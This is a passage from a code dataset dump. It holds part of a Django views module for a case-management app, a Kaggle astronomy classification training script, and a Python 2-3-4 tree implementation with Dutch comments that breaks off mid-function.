JSON endpoint for opening a new case. Takes a message backend id.\n \"\"\"\n permission = 'cases.case_create'\n\n def post(self, request, *args, **kwargs):\n summary = request.POST['summary']\n\n assignee_id = request.POST.get('assignee', None)\n assignee = Partner.get_all(request.org).get(pk=assignee_id) if assignee_id else request.user.get_partner()\n\n message_id = int(request.POST['message'])\n message = Message.objects.get(org=request.org, backend_id=message_id)\n\n case = Case.get_or_open(request.org, request.user, message, summary, assignee)\n\n return JsonResponse({'case': case.as_json(), 'is_new': case.is_new})\n\n class Note(OrgObjPermsMixin, SmartUpdateView):\n \"\"\"\n JSON endpoint for adding a note to a case\n \"\"\"\n permission = 'cases.case_update'\n\n def post(self, request, *args, **kwargs):\n case = self.get_object()\n note = request.POST['note']\n\n case.add_note(request.user, note)\n return HttpResponse(status=204)\n\n class Reassign(OrgObjPermsMixin, SmartUpdateView):\n \"\"\"\n JSON endpoint for re-assigning a case\n \"\"\"\n permission = 'cases.case_update'\n\n def post(self, request, *args, **kwargs):\n assignee = Partner.get_all(request.org).get(pk=request.POST['assignee_id'])\n case = self.get_object()\n case.reassign(request.user, assignee)\n return HttpResponse(status=204)\n\n class Close(OrgPermsMixin, SmartUpdateView):\n \"\"\"\n JSON endpoint for closing a case\n \"\"\"\n permission = 'cases.case_update'\n\n def post(self, request, *args, **kwargs):\n case = self.get_object()\n note = request.POST.get('note', None)\n case.close(request.user, note)\n\n return HttpResponse(status=204)\n\n class Reopen(OrgObjPermsMixin, SmartUpdateView):\n \"\"\"\n JSON endpoint for re-opening a case\n \"\"\"\n permission = 'cases.case_update'\n\n def post(self, request, *args, **kwargs):\n case = self.get_object()\n note = request.POST.get('note', None)\n\n case.reopen(request.user, note)\n return HttpResponse(status=204)\n\n class Label(OrgObjPermsMixin, SmartUpdateView):\n \"\"\"\n JSON endpoint for labelling a case\n \"\"\"\n permission = 'cases.case_update'\n\n def post(self, request, *args, **kwargs):\n case = self.get_object()\n label_ids = parse_csv(request.POST.get('labels', ''), as_ints=True)\n labels = Label.get_all(request.org).filter(pk__in=label_ids)\n\n case.update_labels(request.user, labels)\n return HttpResponse(status=204)\n\n class UpdateSummary(OrgObjPermsMixin, SmartUpdateView):\n \"\"\"\n JSON endpoint for updating a case summary\n \"\"\"\n permission = 'cases.case_update'\n\n def post(self, request, *args, **kwargs):\n case = self.get_object()\n summary = request.POST['summary']\n case.update_summary(request.user, summary)\n return HttpResponse(status=204)\n\n class Fetch(OrgPermsMixin, SmartReadView):\n \"\"\"\n JSON endpoint for fetching a single case\n \"\"\"\n permission = 'cases.case_read'\n\n def render_to_response(self, context, **response_kwargs):\n return JsonResponse(self.object.as_json())\n\n class Search(OrgPermsMixin, CaseSearchMixin, SmartTemplateView):\n \"\"\"\n JSON endpoint for searching for cases\n \"\"\"\n permission = 'cases.case_list'\n\n def get_context_data(self, **kwargs):\n context = super(CaseCRUDL.Search, self).get_context_data(**kwargs)\n\n org = self.request.org\n user = self.request.user\n page = int(self.request.GET.get('page', 1))\n\n search = self.derive_search()\n cases = Case.search(org, user, search)\n paginator = LazyPaginator(cases, 50)\n\n context['object_list'] = paginator.page(page)\n context['has_more'] = paginator.num_pages > page\n return context\n\n def render_to_response(self, context, **response_kwargs):\n return JsonResponse({\n 'results': [c.as_json() for c in context['object_list']],\n 'has_more': context['has_more']\n })\n\n class Timeline(OrgPermsMixin, SmartReadView):\n \"\"\"\n JSON endpoint for fetching case actions and messages\n \"\"\"\n permission = 'cases.case_read'\n\n def get_context_data(self, **kwargs):\n context = super(CaseCRUDL.Timeline, self).get_context_data(**kwargs)\n dt_now = now()\n empty = False\n\n after = self.request.GET.get('after', None)\n if after:\n after = microseconds_to_datetime(int(after))\n merge_from_backend = False\n else:\n # this is the initial request for the complete timeline\n after = self.object.initial_message.created_on\n merge_from_backend = True\n\n if self.object.closed_on:\n if after > self.object.closed_on:\n empty = True\n\n # don't return anything after a case close event\n before = self.object.closed_on\n else:\n before = dt_now\n\n timeline = self.object.get_timeline(after, before, merge_from_backend) if not empty else []\n\n context['timeline'] = timeline\n context['max_time'] = datetime_to_microseconds(dt_now)\n return context\n\n def render_to_response(self, context, **response_kwargs):\n return JsonResponse({'results': context['timeline'], 'max_time': context['max_time']})\n\n\nclass CaseExportCRUDL(SmartCRUDL):\n model = CaseExport\n actions = ('create', 'read')\n\n class Create(OrgPermsMixin, CaseSearchMixin, SmartCreateView):\n @non_atomic_requests\n def post(self, request, *args, **kwargs):\n search = self.derive_search()\n export = self.model.create(self.request.org, self.request.user, search)\n\n case_export.delay(export.pk)\n\n return JsonResponse({'export_id': export.pk})\n\n class Read(BaseDownloadView):\n title = _(\"Download Cases\")\n filename = 'case_export.xls'\n\n\nclass PartnerForm(forms.ModelForm):\n labels = forms.ModelMultipleChoiceField(label=_(\"Can Access\"), queryset=Label.objects.none(), required=False)\n\n def __init__(self, *args, **kwargs):\n org = kwargs.pop('org')\n super(PartnerForm, self).__init__(*args, **kwargs)\n\n self.fields['labels'].queryset = Label.get_all(org)\n\n class Meta:\n model = Partner\n fields = ('name', 'logo', 'labels')\n\n\nclass PartnerFormMixin(object):\n def get_form_kwargs(self):\n kwargs = super(PartnerFormMixin, self).get_form_kwargs()\n kwargs['org'] = self.request.user.get_org()\n return kwargs\n\n\nclass PartnerCRUDL(SmartCRUDL):\n actions = ('create', 'read', 'update', 'delete', 'list')\n model = Partner\n\n class Create(OrgPermsMixin, PartnerFormMixin, SmartCreateView):\n form_class = PartnerForm\n\n def save(self, obj):\n data = self.form.cleaned_data\n org = self.request.user.get_org()\n self.object = Partner.create(org, data['name'], data['labels'], data['logo'])\n\n class Update(OrgObjPermsMixin, PartnerFormMixin, SmartUpdateView):\n form_class = PartnerForm\n success_url = 'id@cases.partner_read'\n\n def has_permission(self, request, *args, **kwargs):\n return request.user.can_manage(self.get_object())\n\n class Read(OrgObjPermsMixin, SmartReadView):\n def get_queryset(self):\n return Partner.get_all(self.request.org)\n\n def get_context_data(self, **kwargs):\n context = super(PartnerCRUDL.Read, self).get_context_data(**kwargs)\n\n # angular app requires context data in JSON format\n context['context_data_json'] = json_encode({\n 'partner': self.object.as_json(),\n })\n\n context['can_manage'] = self.request.user.can_manage(self.object)\n context['labels'] = self.object.get_labels()\n context['managers'] = self.object.get_managers()\n context['analysts'] = self.object.get_analysts()\n return context\n\n class Delete(OrgObjPermsMixin, SmartDeleteView):\n cancel_url = '@cases.partner_list'\n\n def post(self, request, *args, **kwargs):\n partner = self.get_object()\n partner.release()\n return HttpResponse(status=204)\n\n class List(OrgPermsMixin, SmartListView):\n paginate_by = None\n\n def get_queryset(self, **kwargs):\n return Partner.get_all(self.request.org).order_by('name')\n\n\nclass BaseHomeView(OrgPermsMixin, SmartTemplateView):\n \"\"\"\n Mixin to add site metadata to the context in JSON format which can then used\n \"\"\"\n title = None\n folder = None\n folder_icon = None\n template_name = None\n permission = 'orgs.org_inbox'\n\n def get_context_data(self, **kwargs):\n context = super(BaseHomeView, self).get_context_data(**kwargs)\n org = self.request.org\n user = self.request.user\n partner = user.get_partner()\n\n labels = Label.get_all(org, user).order_by('name')\n partners = Partner.get_all(org).order_by('name')\n groups = Group.get_all(org, visible=True).order_by('name')\n\n # angular app requires context data in JSON format\n context['context_data_json'] = json_encode({\n 'user': {'id': user.pk, 'partner': partner.as_json() if partner else None},\n 'partners': [p.as_json() for p in partners],\n 'labels': [l.as_json() for l in labels],\n 'groups': [g.as_json() for g in groups],\n })\n\n context['banner_text'] = org.get_banner_text()\n context['folder'] = self.folder.name\n context['folder_icon'] = self.folder_icon\n context['open_case_count'] = Case.get_open(org, user).count()\n context['closed_case_count'] = Case.get_closed(org, user).count()\n return context\n\n\nclass InboxView(BaseHomeView):\n \"\"\"\n Inbox view\n \"\"\"\n title = _(\"Inbox\")\n folder = MessageFolder.inbox\n folder_icon = 'glyphicon-inbox'\n template_name = 'cases/home_messages.haml'\n\n\nclass FlaggedView(BaseHomeView):\n \"\"\"\n Inbox view\n \"\"\"\n title = _(\"Flagged\")\n folder = MessageFolder.flagged\n folder_icon = 'glyphicon-flag'\n template_name = 'cases/home_messages.haml'\n\n\nclass ArchivedView(BaseHomeView):\n \"\"\"\n Archived messages view\n \"\"\"\n title = _(\"Archived\")\n folder = MessageFolder.archived\n folder_icon = 'glyphicon-trash'\n template_name = 'cases/home_messages.haml'\n\n\nclass UnlabelledView(BaseHomeView):\n \"\"\"\n Unlabelled messages view\n \"\"\"\n title = _(\"Unlabelled\")\n folder = MessageFolder.unlabelled\n folder_icon = 'glyphicon-bullhorn'\n template_name = 'cases/home_messages.haml'\n\n\nclass OpenCasesView(BaseHomeView):\n \"\"\"\n Open cases view\n \"\"\"\n title = _(\"Open Cases\")\n folder = CaseFolder.open\n folder_icon = 'glyphicon-folder-open'\n template_name = 'cases/home_cases.haml'\n\n\nclass ClosedCasesView(BaseHomeView):\n \"\"\"\n Closed cases view\n \"\"\"\n title = _(\"Closed Cases\")\n folder = CaseFolder.closed\n folder_icon = 'glyphicon-folder-close'\n template_name = 'cases/home_cases.haml'\n\n\nclass StatusView(View):\n \"\"\"\n Status endpoint for keyword-based up-time monitoring checks\n \"\"\"\n def get(self, request, *args, **kwargs):\n def status_check(callback):\n try:\n callback()\n return 'OK'\n except Exception:\n return 'ERROR'\n\n # hit Redis\n cache_status = status_check(lambda: cache.get('xxxxxx'))\n\n # check for failing org tasks\n org_tasks = \"ERROR\" if TaskState.get_failing().exists() else \"OK\"\n\n # check for unhandled messages older than 1 hour\n an_hour_ago = now() - timedelta(hours=1)\n old_unhandled = 0\n for org in Org.objects.filter(is_active=True):\n old_unhandled += Message.get_unhandled(org).filter(created_on__lt=an_hour_ago).count()\n\n return JsonResponse({'cache': cache_status, 'org_tasks': org_tasks, 'unhandled': old_unhandled})\n\n\nclass PingView(View):\n \"\"\"\n Ping endpoint for ELB health check pings\n \"\"\"\n def get(self, request, *args, **kwargs):\n try:\n # hit the db and Redis\n Org.objects.first()\n cache.get('xxxxxx')\n except Exception:\n return HttpResponse(\"ERROR\", status=500)\n\n return HttpResponse(\"OK\", status=200)\n","sub_path":"casepro/cases/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"630663545","text":"import pandas as pd\r\nimport sys\r\n\r\nfrom competition_spec_utils import process_meta, featurize\r\nfrom datetime import datetime\r\nfrom functools import partial\r\nfrom lgbm_cross_validation import lgbm_modeling_cross_validation\r\nfrom predict import process_test\r\n\r\nxgb_params = {\r\n 'objective': 'multi:softprob',\r\n 'eval_metric': 'mlogloss',\r\n 'silent': True,\r\n 'num_class': 14,\r\n\r\n 'booster': 'gbtree',\r\n 'n_jobs': 4,\r\n 'n_estimators': 1000,\r\n 'tree_method': 'hist',\r\n 'grow_policy': 'lossguide',\r\n 'base_score': 0.25,\r\n 'max_depth': 7,\r\n 'max_delta_step': 2, # default=0\r\n 'learning_rate': 0.03,\r\n 'max_leaves': 11,\r\n 'min_child_weight': 64,\r\n 'gamma': 0.1, # default=\r\n 'subsample': 0.7,\r\n 'colsample_bytree': 0.68,\r\n 'reg_alpha': 0.01, # default=0\r\n 'reg_lambda': 10., # default=1\r\n 'seed': 537\r\n\r\n}\r\n\r\nlgbm_params = {\r\n 'device': 'cpu',\r\n 'objective': 'multiclass',\r\n 'num_class': 14,\r\n 'boosting_type': 'gbdt',\r\n 'n_jobs': -1,\r\n 'max_depth': 7,\r\n 'n_estimators': 500,\r\n 'subsample_freq': 2,\r\n 'subsample_for_bin': 5000,\r\n 'min_data_per_group': 100,\r\n 'max_cat_to_onehot': 4,\r\n 'cat_l2': 1.0,\r\n 'cat_smooth': 59.5,\r\n 'max_cat_threshold': 32,\r\n 'metric_freq': 10,\r\n 'verbosity': -1,\r\n 'metric': 'multi_logloss',\r\n 'xgboost_dart_mode': False,\r\n 'uniform_drop': False,\r\n 'colsample_bytree': 0.5,\r\n 'drop_rate': 0.173,\r\n 'learning_rate': 0.0267,\r\n 'max_drop': 5,\r\n 'min_child_samples': 10,\r\n 'min_child_weight': 100.0,\r\n 'min_split_gain': 0.1,\r\n 'num_leaves': 7,\r\n 'reg_alpha': 0.1,\r\n 'reg_lambda': 0.00023,\r\n 'skip_drop': 0.44,\r\n 'subsample': 0.75\r\n}\r\n\r\n\r\ndef main(argc, argv):\r\n meta_train = process_meta('../input/training_set_metadata.csv')\r\n\r\n train = pd.read_csv('../input/training_set.csv')\r\n full_train = featurize(train, meta_train)\r\n\r\n if 'target' in full_train:\r\n y = full_train['target']\r\n del full_train['target']\r\n\r\n classes = sorted(y.unique())\r\n # Taken from Giba's topic : https://www.kaggle.com/titericz\r\n # https://www.kaggle.com/c/PLAsTiCC-2018/discussion/67194\r\n # with Kyle Boone's post https://www.kaggle.com/kyleboone\r\n class_weights = {c: 1 for c in classes}\r\n class_weights.update({c: 2 for c in [64, 15]})\r\n print('Unique classes : {}, {}'.format(len(classes), classes))\r\n print(class_weights)\r\n # sanity check: classes = [6, 15, 16, 42, 52, 53, 62, 64, 65, 67, 88, 90, 92, 95]\r\n # sanity check: class_weights = {6: 1, 15: 2, 16: 1, 42: 1, 52: 1, 53: 1, 62: 1, 64: 2,\r\n # 65: 1, 67: 1, 88: 1, 90: 1, 92: 1, 95: 1}\r\n\r\n if 'object_id' in full_train:\r\n object_id = full_train['object_id']\r\n del full_train['object_id']\r\n del full_train['hostgal_specz']\r\n del full_train['ra'], full_train['decl'], full_train['gal_l'], full_train['gal_b']\r\n del full_train['ddf']\r\n\r\n train_mean = full_train.mean(axis=0)\r\n # train_mean.to_hdf('train_data.hdf5', 'data')\r\n pd.set_option('display.max_rows', 500)\r\n print(full_train.describe().T)\r\n full_train.fillna(0, inplace=True)\r\n\r\n eval_func = partial(lgbm_modeling_cross_validation,\r\n full_train=full_train,\r\n y=y,\r\n classes=classes,\r\n class_weights=class_weights,\r\n id=object_id,\r\n nr_fold=5,\r\n random_state=1,\r\n )\r\n\r\n lgbm_params.update({'n_estimators': 1000})\r\n\r\n # modeling from CV\r\n clfs, score = eval_func(lgbm_params)\r\n\r\n filename = 'subm_{:.6f}_{}.csv'.format(score, datetime.now().strftime('%Y-%m-%d-%H-%M'))\r\n print('save to {}'.format(filename))\r\n\r\n # TEST\r\n process_test(clfs,\r\n features=full_train.columns,\r\n train_mean=train_mean,\r\n filename=filename,\r\n chunks=5000000)\r\n\r\n z = pd.read_csv(filename)\r\n print(\"Shape BEFORE grouping: {}\".format(z.shape))\r\n z = z.groupby('object_id').mean()\r\n print(\"Shape AFTER grouping: {}\".format(z.shape))\r\n z.to_csv('single_{}'.format(filename), index=True)\r\n\r\n\r\nif __name__ == '__main__':\r\n main(len(sys.argv), sys.argv)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"74608725","text":"\nclass TreeItem:\n def __init__(self, item, key):\n self.item = item #Deze classe word gebruikt om items te inserten in de 234T\n self.key = key\n\n\nclass T234:\n def __init__(self, item1, item2, item3, left, mleft, mright, right, parent):\n self.parent = parent #Deze parent zal terug linken naar de parent van een node\n self.item1 = item1 #De items komen overeen met alle items die een node kan hebben\n self.item2 = item2\n self.item3 = item3\n self.left = left #De volgende pointers komen overeen met de kinderen van de node\n self.mleft = mleft\n self.mright = mright\n self.right = right\n\n def __iter__(self):\n self.index = 0\n return self\n\n def __next__(self):\n size = self.size()\n if size > self.index:\n x = self.getIndex(self.index)\n self.index += 1\n return (x[0].key, x[0].item)\n else:\n raise StopIteration\n\n def change(self):\n while self.parent is not None:\n self = self.parent\n\n def isEmpty(self):\n if self.item1 is None and self.item2 is None and self.item3 is None and self.left is None:\n return True #als de boom geen items, kinderen en parent heeft returned de functie true\n return False\n\n def destroyNode(self):\n self.left = None #Deze functie zal een node verwijderen door al zijn pointers op None te zetten\n self.mleft = None\n self.mright = None\n self.right = None\n self.item1 = None\n self.item2 = None\n self.item3 = None\n self.parent = None\n\n def split(self): #Deze functie zal een 4node opslitsen om de gebalanceerde structuur te behouden\n if self.parent is None: #als we in de root zitten\n if self.left is None:#als de root geen kinderen heeft\n self.left = T234(self.item1, None, None, None, None, None, None, self) #een nieuwe node word aangemaakt als linker kind\n self.mleft = T234(self.item3, None, None, None, None, None, None, self) #een nieuwe node word aangemaakt als mlinker kind\n self.item1 = self.item2 # het item dat op de 2de locatie stond word opgeschoven naar de juiste locatie\n self.item2 = None\n self.item3 = None # De items die nu naar de kinderen zijn vershoven worden op none gezet\n return True # de root is nu in het midden gesplit en heeft 2 kinderen\n else: #als de root wel kinderen heeft\n self.left.parent = None #de parent van de kinderen worden allemaal op None gezet\n self.mleft.parent = None\n self.mright.parent = None\n self.right.parent = None\n self.left = T234(self.item1, None, None, self.left, self.mleft, None, None, self) #er worden nieuwe kinderen aangemaakt met de vorige kinderen van de root\n self.mleft = T234(self.item3, None, None, self.mright, self.right, None, None, self)\n self.left.left.parent = self.left # De parent pointers worden gereset\n self.left.mleft.parent = self.left\n self.mleft.left.parent = self.mleft\n self.mleft.mleft.parent = self.mleft\n self.item1 = self.item2\n self.item2 = None #De items worden op de juiste plek gezet\n self.item3 = None\n self.mright = None\n self.right = None\n return True\n else: #als we niet de root zitten\n if self.parent.mright is None: #als de parent maar 2 kinderen heeft\n if self.parent.left == self: #als we het over het linker kind hebben\n self.parent.item2 = self.parent.item1 #We schuiven het eerste item naar rechts\n self.parent.item1 = self.item2 #we halen het middelste item uit de node en zetten het bij de parent node\n self.parent.mright = self.parent.mleft #we schuiven de kindere op\n if self.left is not None:#als we kinderen hebben\n self.parent.mleft = T234(self.item3, None, None, self.mright, self.right, None, None, self.parent) #we maken een nieuwe kind aan de parent met de kinderen van de node\n self.mright.parent = self.parent.mleft #we passen de parent pointers aan\n self.right.parent = self.parent.mleft\n self.mright = None #we zetten de verplaatste elementen op None\n self.right = None\n self.item3 = None\n self.item2 = None\n return True\n else: #als de node geen kinderen heeft\n self.parent.mleft = T234(self.item3, None, None, None, None, None, None, self.parent) #We maken een nieuw kind aan\n self.item3 = None #we zetten de gebruikte items op None\n self.item2 = None\n return True\n else: #als we over het rechterkind(mleft) hebben\n self.parent.item2 = self.item2 # We brengen het middelste item naar de parent\n self.parent.mright = self\n if self.left is not None: #als de node kinderen heeft\n self.parent.mleft = T234(self.item1, None, None, self.left, self.mleft, None, None, self.parent) #We maken een nieuwe kind aan met de kindere van de node\n self.left.parent = self.parent.mleft #we zetten de parent pointers juist\n self.mleft.parent = self.parent.mleft\n self.left = self.mright #we zetten de kinderen op de juiste plek\n self.mleft = self.right\n self.mright = None # we reset de verplaatste items\n self.right = None\n self.item1 = self.item3\n self.item2 = None\n self.item3 = None\n return True\n else: # als de node wel kinderen heeft\n self.parent.mleft = T234(self.item1, None, None, None, None, None, None, self.parent) #we maken nieuwe kinderen aan\n self.item1 = self.item3\n self.item2 = None\n self.item3 = None\n return True\n else: #als de parent 3 kinderen heeft\n if self.parent.left == self: #als we het linker kind zijn\n self.parent.item3 = self.parent.item2 #We schuiven de items op\n self.parent.item2 = self.parent.item1\n self.parent.item1 = self.item2\n self.parent.right = self.parent.mright #we schuiven de kinderen op\n self.parent.mright = self.parent.mleft\n if self.left is not None: #als de node kinderen heeft\n self.parent.mleft = T234(self.item3, None, None, self.mright, self.right, None, None, self.parent) #we maken een nieuw kind aan de met de kinderen van de node\n self.mright.parent = self.parent.mleft #we zetten de parent pointers juist\n self.right.parent = self.parent.mleft\n self.item3 = None # we passen de verschoven pointers aan\n self.item2 = None\n self.mright = None\n self.right = None\n return True\n else: #als we geen kinderen hebben\n self.parent.mleft = T234(self.item3, None, None, None, None, None, None, #we maken een nieuw kind aan\n self.parent)\n self.item3 = None #we passen de pointers aan\n self.item2 = None\n return True\n\n elif self.parent.mleft == self: #als we het middel kind zijn\n self.parent.item3 = self.parent.item2 # we brengen het middelste item naar de parent\n self.parent.item2 = self.item2\n self.parent.right = self.parent.mright\n if self.left is not None: # als we kinderen hebben\n self.parent.mright = T234(self.item3, None, None, self.mright, self.right, None, None, self.parent) #we maken een nieuw kind aan\n self.mright.parent = self.parent.mright #we passen de parent pointers aan\n self.right.parent = self.parent.mright\n self.item3 = None #we resetten de ver plaatste items\n self.item2 = None\n self.mright = None\n self.right = None\n return True\n else: # als we geen kinderen hebben\n self.parent.mright = T234(self.item3, None, None, None, None, None, None, #we maken een nieuw kind aan\n self.parent)\n self.item3 = None #we resseten de items\n self.item2 = None\n return True\n else: #als we het rechter kind zijn\n self.parent.item3 = self.item2 # we brengen het middelste item naar de parent\n self.parent.right = self\n if self.left is not None: # als we kinderen hebben\n self.parent.mright = T234(self.item1, None, None, self.left, self.mleft, None, None, #we maken een nieuw kind aan\n self.parent)\n self.item1 = self.item3 #we veplaatsen de items\n self.item2 = None\n self.item3 = None\n self.left.parent = self.parent.mright # we passen de parent pointers aan\n self.mleft.parent = self.parent.mright\n self.left = self.mright # we passen de kinderen aan\n self.mleft = self.right\n self.mright = None\n self.right = None\n return True\n else: #als we wel kinderen hebben\n self.parent.mright = T234(self.item1, None, None, None, None, None, None, #we maken een nieuw kind aan\n self.parent)\n self.item1 = self.item3 # we passen de items van de node aan\n self.item2 = None\n self.item3 = None\n return True\n\n\n def T234Insert(self, treeitem):\n if self.isEmpty(): #als de boom leeg is dan maken we een node aan\n self.item1 = treeitem\n return True\n if self.item1 is not None and self.item2 is not None and self.item3 is not None:\n self.split() #als we een 4-node tegekomen bij het inserten zullen we deze splitten omde structuur te behouden\n if self.parent is not None: #we gaan terug naar de parent omdat de structuur van de boom is veranderd\n self = self.parent\n if self.left is None: #als we geen kinderen hebben\n if self.item2 is not None: #als er een 2de element is\n if treeitem.key < self.item1.key: # als het item voor het huidige eerste item moet\n self.item3 = self.item2 # De items worden opgeschoven\n self.item2 = self.item1\n self.item1 = treeitem\n return True\n elif treeitem.key < self.item2.key: #als het item in het middem moet staan\n self.item3 = self.item2\n self.item2 = treeitem\n return True\n else: #als de key groter is dan alle andere is het item als laatste\n self.item3 = treeitem\n return True\n else: #als er maar 1 element is\n if treeitem.key < self.item1.key: # als het item voor het huidige eerste item moet\n self.item2 = self.item1\n self.item1 = treeitem\n return True\n else: #als de key groter is dan alle andere is het item als laatste\n self.item2 = treeitem\n return True\n elif treeitem.key < self.item1.key: #Als we naar de linker boom moeten inserten\n self.left.T234Insert(treeitem)\n elif self.item2 is None or treeitem.key > self.item1.key and treeitem.key < self.item2.key: #als we naar de mleft tree moeten\n self.mleft.T234Insert(treeitem)\n elif self.item3 is None or treeitem.key > self.item2.key and treeitem.key < self.item3.key: #als we naar de mright tree moeten\n self.mright.T234Insert(treeitem)\n elif treeitem.key > self.item3.key: # als we in de rechter tree moeten zijn\n self.right.T234Insert(treeitem)\n\n #we zoeken van elk elment steeds het meest rechtste elementen\n\n def inorder1(self):\n target = self.mleft\n while target.left is not None:\n target = target.left\n return target\n\n def inorder2(self):\n target = self.mright\n while target.left is not None:\n target = target.left\n return target\n\n def inorder3(self):\n target = self.right\n while target.left is not None:\n target = target.left\n return target\n\n #Voor elke redistribute\n #We verplaatsen de parent item naar de node\n #we verplaatsen de sibling node naar de parent\n #we verschuiven de items in de sibling\n #als de sibling nog een derde kind heeft dan schuiven we deze ook een plaats op\n\n def redistributeleft(self):\n self.item1 = self.parent.item1\n self.parent.item1 = self.parent.mleft.item1\n self.parent.mleft.item1 = self.parent.mleft.item2\n self.parent.mleft.item2 = None\n if self.parent.mleft.item3 is not None:\n self.parent.mleft.item2 = self.parent.mleft.item3\n self.parent.mleft.item3 = None\n\n def redistributeright(self):\n self.item1 = self.parent.item3\n if self.parent.mright.item3 is None:\n self.parent.item3 = self.parent.mright.item2\n self.parent.mright.item2 = None\n else:\n self.parent.item3 = self.parent.mright.item3\n self.parent.mright.item3 = None\n\n def redistributemleft(self, sibling):\n if sibling == self.parent.left:\n self.item1 = self.parent.item1\n if self.parent.left.item3 is None:\n self.parent.item1 = self.parent.left.item2\n self.parent.left.item2 = None\n else:\n self.parent.item1 = self.parent.left.item3\n self.parent.left.item3 = None\n else:\n self.item1 = self.parent.item2\n if self.parent.mright.item3 is None:\n self.parent.item2 = self.parent.mright.item1\n self.parent.mright.item1 = self.parent.mright.item2\n self.parent.mright.item2 = None\n else:\n self.parent.item2 = self.parent.mright.item1\n self.parent.mright.item1 =self.parent.mright.item2\n self.parent.mright.item2 = self.parent.mright.item3\n self.parent.mright.item3 = None\n\n def redistributemright(self, sibling):\n if sibling == self.parent.mleft:\n self.item1 = self.parent.item2\n if self.parent.mleft.item3 is None:\n self.parent.item2 = self.parent.mleft.item2\n self.parent.mleft.item2 = None\n else:\n self.parent.item2 = self.parent.mleft.item3\n self.parent.mleft.item3 = None\n else:\n self.item1 = self.parent.item3\n if self.parent.right.item3 is None:\n self.parent.item3 = self.parent.right.item1\n self.parent.right.item1 = self.parent.right.item2\n self.parent.right.item2 = None\n else:\n self.parent.item3 = self.parent.right.item1\n self.parent.right.item1 = self.parent.right.item2\n self.parent.right.item2 = self.parent.right.item3\n self.parent.mright.item3 = None\n\n #geld voor alle distributeinternal\n #we nemen een item van de parent en steken ze in de node\n #we nemen een item van de sibling en steken deze in de parent\n #we verplaatsen het kind van de sibling naar de node\n #we passen de parent pointer aan van dit kind\n #we schuiven de rest van de kinderen van de sibling op\n #we kijken of de sibling meer dan 2 items heeft\n #en verschuiven de rest als dit nodig is\n\n def redistributeInternalleft(self):\n self.item1 = self.parent.item1\n self.parent.item1 = self.parent.mleft.item1\n self.parent.mleft.item1 = self.parent.mleft.item2\n self.mleft = self.parent.mleft.left\n self.parent.mleft.left.parent = self\n self.parent.mleft.left = self.parent.mleft.mleft\n self.parent.mleft.mleft = self.parent.mleft.mright\n if self.parent.mleft.item3 is None:\n self.parent.mleft.item2 = None\n self.parent.mleft.mright = None\n else:\n self.parent.mleft.item2 = self.parent.mleft.item3\n self.parent.mleft.item3 = None\n self.parent.mleft.mright = self.parent.mleft.right\n self.parent.mleft.right = None\n\n def redistributeInternalmleft(self, sibling):\n if sibling == self.parent.left:\n self.item1 = self.parent.item1\n self.mleft = self.left\n if self.parent.left.item3 is None:\n self.parent.item1 = self.parent.left.item2\n self.parent.left.item2 = None\n self.left = self.parent.left.mright\n self.parent.left.mright.parent = self\n self.parent.left.mright = None\n else:\n self.parent.item1 = self.parent.left.item3\n self.parent.left.item3 = None\n self.left = self.parent.left.right\n self.parent.left.right.parent = self\n self.parent.left.right = None\n else:\n self.item1 = self.parent.item2\n self.parent.item2 = self.parent.mright.item1\n self.parent.mright.item1 = self.parent.mright.item2\n self.mleft = self.parent.mright.left\n self.parent.mright.left.parent = self\n self.parent.mright.left = self.parent.mright.mleft\n self.parent.mright.mleft = self.parent.mright.mright\n if self.parent.mright.item3 is None:\n self.parent.mright.item2 = None\n self.parent.mright.mright = None\n else:\n self.parent.mright.item2 = self.parent.mright.item3\n self.parent.mright.item3 = None\n self.parent.mright.mright = self.parent.mright.right\n self.parent.mright.right = None\n\n def redistributeInternalmright(self, sibling):\n if sibling == self.parent.mleft:\n self.item1 = self.parent.item2\n self.mleft = self.left\n if self.parent.mleft.item3 is None:\n self.parent.item1 = self.parent.mleft.item2\n self.parent.mleft.item2 = None\n self.left = self.parent.mleft.mright\n self.parent.mleft.mright.parent = self\n self.parent.mleft.mright = None\n else:\n self.parent.item1 = self.parent.mleft.item3\n self.parent.mleft.item3 = None\n self.left = self.parent.mleft.right\n self.parent.mleft.right.parent = self\n self.parent.mleft.right = None\n else:\n self.item1 = self.parent.item3\n self.parent.item1 = self.parent.right.item1\n self.parent.right.item1 = self.parent.right.item2\n self.mleft = self.parent.right.left\n self.parent.right.left.parent = self\n self.parent.right.left = self.parent.right.mleft\n self.parent.right.mleft = self.parent.right.mright\n if self.parent.right.item3 is None:\n self.parent.right.item2 = None\n self.parent.right.mright = None\n else:\n self.parent.right.item2 = self.parent.right.item3\n self.parent.right.item3 = None\n self.parent.right.mright = self.parent.right.right\n self.parent.right.right = None\n\n def redistributeInternalright(self):\n self.item1 = self.parent.item3\n self.mleft = self.left\n if self.parent.mright.item3 is None:\n self.parent.item3 = self.parent.mright.item2\n self.parent.mright.item2 = None\n self.left = self.parent.mright.mright\n self.parent.mright.mright.parent = self\n self.parent.mright.mright = None\n else:\n self.parent.item3 = self.parent.mright.item3\n self.parent.mright.item3 = None\n self.left = self.parent.mright.right\n self.parent.mright.right.parent = self\n self.parent.mright.right = None\n\n #dit geld voor alle merges\n #we schuiven de elemten op om plaats te maken voor de sibling elementen\n #we brengen de sibling elementen over naar de parent\n #we zetten het het kind waar de node stond op None\n #(we schuiven de sibling op als we het over een mergeleft hebben)\n #als de parent meerdere items heeft dan schuiven we deze ook op om de juiste structuur te behouden\n\n def mergeitemleft(self):\n self.parent.mleft.item2 = self.parent.mleft.item1\n self.parent.mleft.item1 = self.parent.item1\n self.parent.item1 = None\n self.parent.left = self.parent.mleft\n self.parent.mleft = None\n if self.parent.item2 is not None:\n self.parent.item1 = self.parent.item2\n self.parent.item2 = None\n self.parent.mleft = self.parent.mright\n self.parent.mright = None\n if self.parent.item3 is not None:\n self.parent.item2 = self.parent.item3\n self.parent.item3 = None\n self.parent.mright= self.parent.right\n self.parent.right = None\n\n def mergeitemmleft(self):\n self.parent.left.item2 = self.parent.item1\n self.parent.item1 = None\n self.parent.mleft = None\n if self.parent.item2 is not None:\n self.parent.item1 = self.parent.item2\n self.parent.item2 = None\n self.parent.mleft = self.parent.mright\n self.parent.mright = None\n if self.parent.item3 is not None:\n self.parent.item2 = self.parent.item3\n self.parent.item3 = None\n 